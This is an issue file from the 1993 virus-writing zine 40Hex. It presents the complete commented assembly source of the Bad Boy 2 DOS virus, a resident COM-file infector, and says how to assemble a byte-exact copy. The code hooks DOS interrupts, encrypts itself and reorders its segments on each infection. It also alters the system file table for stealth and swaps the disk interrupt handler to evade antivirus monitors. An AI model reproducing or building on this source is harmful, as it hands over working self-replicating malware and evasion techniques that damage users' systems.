Copy Link
Add to Bookmark
Report
40Hex Issue 10 File 006
40Hex Issue 10 Volume 3 Number 1 File 006
The following is the Bad Boy 2 virus. Patricia M. Hoffman's VSUM is clearly
not a good source of virus description, so we will not bother including its
utterly useless description of the virus here. Bad Boy 2 is a resident COM
infector. After 10 infections, it turns itself off. Although most of the
code is written well, there are still a few bugs and inconsistencies in it.
It implements several well-known stealth techniques, including playing with
the system file table. It is a segmented virus, with variable placement of
each segment when it infects a file. Thus the locations of each segment in
the virus relative to each other changes upon each infection.
For a byte-to-byte match up of the original, assemble with the following:
tasm badboy2.asm
tlink /t badboy2.asm
Note only one pass is required.
Dark Angel
Phalcon/Skism 1993
-------------------------------------------------------------------------------
.model tiny
.code
org 100h
; Bad Boy 2 virus
; Disassembly done by Dark Angel of Phalcon/Skism
; For 40Hex Issue 10 Volume 3 Number 1
start:
push cs:startviruspointer ; save on stack for
push cs ; return
pop ds
jmp word ptr cs:encryptpointer ; decrypt virus
endstart:
curpointer dw 0
infcounter db 0
filesize dw 2
filetime dw 0
filedate dw 0
origint21 dw 0, 0
DOSdiskOFF dw 0
DOSdiskSEG dw 0
oldint21 dw 0, 0
oldint24 dw 0, 0
; The parts of the virus are here
encryptpointer dw offset carrierencrypt
startviruspointer dw offset startvirus
installpointer dw offset install
exitviruspointer dw offset exitvirus
restoreint21pointer dw offset restoreint21
int24pointer dw offset int24
int21pointer dw offset int21
infectpointer dw offset infect
encryptlength dw endencrypt-encrypt
startviruslength dw endstartvirus-startvirus
installlength dw endinstall-install
exitviruslength dw endexitvirus-exitvirus
restoreint21length dw endrestoreint21-restoreint21
int24length dw endint24-int24
int21length dw endint21-int21
infectlength dw endinfect-infect
enddata:
encrypt: ; and decrypt
mov bx,offset startviruspointer
mov cx,6
do_next_segment:
cmp bx,offset int24pointer
jne not_int24pointer
add bx,2
not_int24pointer:
push bx
push cx
mov ax,[bx] ; get start offset
mov cx,[bx+encryptlength-encryptpointer] ; and length
mov bx,ax
encrypt_segment:
xor [bx],al ; encrypt cx bytes
inc bx
loop encrypt_segment
pop cx
pop bx
add bx,2 ; go to next segment
loop do_next_segment
retn
endencrypt:
startvirus:
mov es,cs:[2] ; get top of memory
mov di,100h ; check if virus
mov si,100h ; already resident
mov cx,offset endstart - offset start - 1
rep cmpsb
jnz not_installed ; continue if not
jmp cs:exitviruspointer ; otherwise, quit
not_installed:
mov ax,cs ; get current program's
dec ax ; MCB
mov ds,ax
cmp byte ptr ds:[0],'Z' ; check if last one
;nop
je is_last_MCB ; continue if so
jmp cs:exitviruspointer ; otherwise, quit
is_last_MCB:
rsize = ((endvirus - start + 15)/16+1)*3 ; resident size in
; paragraphs
sub word ptr ds:[3],rsize ; decrease MCB's memory
mov ax,es ; get segment of high memory
sub ax,rsize ; decrease by virus size
mov es,ax ; es = start segment of virus
mov ds:[12h],ax ; put value in PSP top of
; memory field
push cs
pop ds
mov cs:infcounter,0 ; clear infection counter
mov di,100h
mov cx,offset enddata - offset start
mov si,100h
rep movsb
mov bx,cs:encryptpointer
add bx,encrypt_segment-encrypt+1
xor byte ptr [bx],18h ; change to: xor [bx],bl
; shuffling segments to different locations
mov cx,8
mov curpointer,offset encrypt
shuffle:
push cx
call random_segment
push bx
mov ax,[bx]
push ax
add bx,encryptlength-encryptpointer
mov cx,[bx]
pop si
pop bx
xchg di,curpointer
mov es:[bx],di ; copy segment
rep movsb ; to memory area
xchg di,curpointer
mov ax,8000h
or [bx],ax ; mark already copied
pop cx
loop shuffle
mov cl,8
not ax ; ax = 7FFFh
mov bx,offset encryptpointer
clear_hibit: ; restore the pointers
and [bx],ax
add bx,2
loop clear_hibit
jmp cs:installpointer
random_segment:
push cx
push es
xor cx,cx
mov es,cx
random_segment_loop:
mov bx,es:[46Ch] ; get timer ticks since
; midnight MOD 8
db 081h,0e3h,7,0 ; and bx,7
shl bx,1 ; multiply by 2
add bx,offset encryptpointer
test word ptr [bx],8000h ; check if already moved
jnz random_segment_loop ; do it again if so
pop es
pop cx
retn
endstartvirus:
install:
xor ax,ax
mov ds,ax ; ds->interrupt table
mov ax,ds:21h*4 ; save old int 21h handler
mov es:oldint21,ax
mov ax,ds:21h*4+2
mov word ptr es:oldint21+2,ax
mov ah,30h ; get DOS version
int 21h
cmp ax,1E03h ; 3.X?
jne not_DOS_3X ; skip if not
mov es:origint21,1460h ; use known value for int 21h
mov ax,1203h ; get DOS segment
push ds
int 2Fh
mov word ptr es:origint21+2,ds
pop ds
jmp short is_DOS_3X
nop
not_DOS_3X:
mov ax,ds:21h*4
mov es:origint21,ax
mov ax,ds:21h*4+2
mov word ptr es:origint21+2,ax
is_DOS_3X:
cli ; set new int 21h handler
mov ax,es:int21pointer
mov ds:21h*4,ax
mov ax,es
mov ds:21h*4+2,ax
sti
mov cx,es
mov ah,13h ; get old DOS disk handler
int 2Fh ; to es:bx
push es
mov es,cx
mov es:DOSdiskOFF,dx
mov es:DOSdiskSEG,ds
pop es
int 2Fh ; restore DOS disk handler
jmp cs:exitviruspointer
endinstall:
exitvirus:
push cs ; copy return routine to
push cs ; buffer at end of file
pop ds ; and transfer control
pop es ; to it
mov si,cs:exitviruspointer
add si,offset return_to_COM - offset exitvirus
;nop
mov di,cs:filesize
add di,offset endvirus
push di
mov cx,offset end_return_to_COM - offset return_to_COM
cld
rep movsb
retn ; jmp to return_to_COM
return_to_COM:
mov si,cs:filesize
add si,100h
cmp si,offset endvirus ; check if small file
jae not_negative ; if not, skip next
mov si,offset endvirus ; adjust for too small
not_negative:
mov di,100h
mov cx,offset endvirus - offset start - 1 ; ????
rep movsb ; copy old file to start
mov ax,100h ; and exit the virus
push ax
retn
end_return_to_COM:
endexitvirus:
restoreint21:
xor di,di
mov ds,di
cli
mov di,cs:oldint21
mov ds:21h*4,di
mov di,word ptr cs:oldint21+2
mov ds:21h*4+2,di
sti
retn
plea db 'Make me better!'
endrestoreint21:
int24:
mov al,3
iret
message db 'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0
endint24:
int21:
push bx
push si
push di
push es
push ax
cmp ax,4B00h ; check if execute
jz execute ; continue if so
jmp short exitint21
nop
execute:
push ds
push cs
pop es
xor ax,ax
mov ds,ax
mov si,24h*4 ; get old int 24h
mov di,offset oldint24 ; handler
movsw
movsw
mov ax,cs:int24pointer
cli ; set new critical error
mov ds:24h*4,ax ; handler
mov ax,cs
mov ds:24h*4+2,ax
sti
pop ds
mov ax,3D00h ; open file read only
pushf
call dword ptr cs:oldint21
jc restore_exitint21
mov bx,ax ; handle to bx
call cs:infectpointer
pushf
mov ah,3eh ; close file
pushf
call dword ptr cs:oldint21
popf
jc restore_exitint21
push ds
cli ; subvert nasty disk
xor ax,ax ; monitoring programs
mov ds,ax
mov ax,cs:DOSdiskOFF
xchg ax,ds:13h*4
mov cs:DOSdiskOFF,ax
mov ax,cs:DOSdiskSEG
xchg ax,ds:13h*4+2
mov cs:DOSdiskSEG,ax
sti
pop ds
restore_exitint21:
push ds
xor ax,ax
mov ds,ax
mov ax,cs:oldint24
mov ds:24h*4,ax
mov ax,word ptr cs:oldint24+2
mov ds:24h*4+2,ax
pop ds
exitint21:
pop ax
pop es
pop di
pop si
pop bx
jmp dword ptr cs:oldint21
endint21:
infect:
push cx
push dx
push ds
push es
push di
push bp
push bx
mov ax,1220h ; get JFT entry for file
int 2Fh ; handle bx
mov bl,es:[di]
xor bh,bh
mov ax,1216h ; get associated SFT
int 2Fh ; entry to es:di
pop bx
mov ax,es:[di+11h] ; get file size
cmp ax,0F000h ; exit if too large
jb not_too_large
jmp errorinfect
not_too_large:
mov word ptr es:[di+2],2 ; set to read/write mode
mov ax,es:[di+11h] ; get file size (again)
mov cs:filesize,ax ; save it
mov ax,es:[di+0Dh] ; get file time
mov cs:filetime,ax ; save it
mov ax,es:[di+0Fh] ; get file date
mov cs:filedate,ax ; save it
push cs
pop ds
mov dx,4E9h
mov cx,3E8h
mov ah,3Fh ; Read from file
pushf
call dword ptr cs:oldint21
jnc read_ok
jmp errorinfect
read_ok:
mov bp,ax
mov si,dx
mov ax,'MZ' ; check if EXE
cmp ax,[si]
jne not_MZ
jmp errorinfect
not_MZ:
xchg ah,al
cmp ax,[si] ; check if EXE
jne not_ZM
jmp errorinfect
not_ZM:
push es
push di
push cs
pop es
mov si,100h ; check if already
mov di,dx ; infected
mov cx,offset endstart - offset start - 1
repe cmpsb
pop di
pop es
jnz not_already_infected
jmp errorinfect
not_already_infected:
mov word ptr es:[di+15h],0
push es
push di
mov si,cs:infectpointer
add si,offset write_virus - offset infect
xor di,di
push cs
pop es
mov cx,offset end_write_virus-offset write_virus
cld
rep movsb
pop di
pop es
mov si,cs:infectpointer
add si,offset finish_infect - offset infect
push si
xor si,si
push si
push ds
cli ; subvert nasty
xor ax,ax ; antivirus programs
mov ds,ax
mov ax,cs:DOSdiskOFF
xchg ax,ds:13h*4
mov cs:DOSdiskOFF,ax
mov ax,cs:DOSdiskSEG
xchg ax,ds:13h*4+2
mov cs:DOSdiskSEG,ax
sti
pop ds
retn
write_virus:
push bx
call cs:encryptpointer ; encrypt virus
pop bx
mov dx,100h
mov ah,40h ; write virus
mov cx,offset endvirus - offset start
pushf
call dword ptr cs:origint21
pushf
push bx
call cs:encryptpointer ; decrypt virus
pop bx
popf
jnc write_OK
pop ax
mov ax,cs:infectpointer
add ax,offset infectOK - offset infect
push ax
retn
write_OK:
mov ax,es:[di+11h] ; move file pointer
mov es:[di+15h],ax ; to end of file
mov dx,offset endvirus
mov cx,bp
mov ah,40h ; concatenate carrier
pushf ; file's first few bytes
call dword ptr cs:origint21
retn
end_write_virus:
finish_infect:
mov ax,5701h ; restore file time/date
mov cx,cs:filetime
mov dx,cs:filedate
pushf
call dword ptr cs:oldint21
inc cs:infcounter
cmp cs:infcounter,10d ; after 10 infections,
jne infectOK
call cs:restoreint21pointer ; turn off virus
jmp short infectOK
errorinfect:
stc ; set error flag
jmp short exitinfect
infectOK:
clc ; clear error flag
exitinfect:
pop bp
pop di
pop es
pop ds
pop dx
pop cx
retn
endinfect:
db 0
endvirus:
int 20h
carrierencrypt:
mov word ptr cs:encryptpointer,offset encrypt
retn
end start
-------------------------------------------------------------------------------
DA